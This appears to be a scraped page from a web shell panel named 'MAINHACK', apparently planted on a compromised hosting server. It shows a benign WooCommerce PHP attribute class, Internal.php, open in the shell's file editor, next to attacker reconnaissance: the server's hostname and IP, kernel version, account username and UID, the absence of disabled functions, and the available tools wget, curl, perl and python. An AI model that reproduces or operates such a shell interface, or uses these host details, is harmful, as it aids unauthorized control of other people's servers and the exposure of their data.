[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Internal.php
<?php declare(strict_types=1); namespace Automattic\WooCommerce\Api\Attributes; use Attribute; /** * Marks a code-API element as for WooCommerce internal use. * * Discoverable through the `_apiMetadata` GraphQL field as an entry with * `name = "internal"` and `value = true`. The marking is informational — * authorization remains the job of {@see PublicAccess}, {@see RequiredCapability}, * and any plugin-supplied authorization attributes. * * When a class, property or enum case has this attribute, the generated * GraphQL `description` is prefixed with `[Internal] `, and * when the element has no `#[Description]` at all, a default body * (`[Internal] For WooCommerce core internal usage only.`) is emitted so the * marker still reaches stock introspection. * * `#[Internal]` on a class marks only that class — its fields and enum cases * are not implicitly marked too. A tool that wants to treat the contents of * an internal type as internal by association must apply that rule itself * when it reads the metadata. * * The attribute targets classes, properties, and enum cases; see * {@see Metadata} for the reasoning behind excluding methods. */ #[Attribute( Attribute::TARGET_CLASS | Attribute::TARGET_PROPERTY | Attribute::TARGET_CLASS_CONSTANT )] class Internal extends Metadata { /** * Construct an `internal` metadata entry with value `true`. */ public function __construct() { parent::__construct( 'internal', true ); } /** * Prepend `[Internal] ` to the description, supplying a default body when * the element has no `#[Description]` of its own. See * {@see Metadata::transform_description()} for the contract. * * @param string $description Incoming description (empty when no `#[Description]`). */ public function transform_description( string $description ): string { if ( '' === $description ) { $description = 'For WooCommerce core internal usage only.'; } return '[Internal] ' . $description; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.28 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056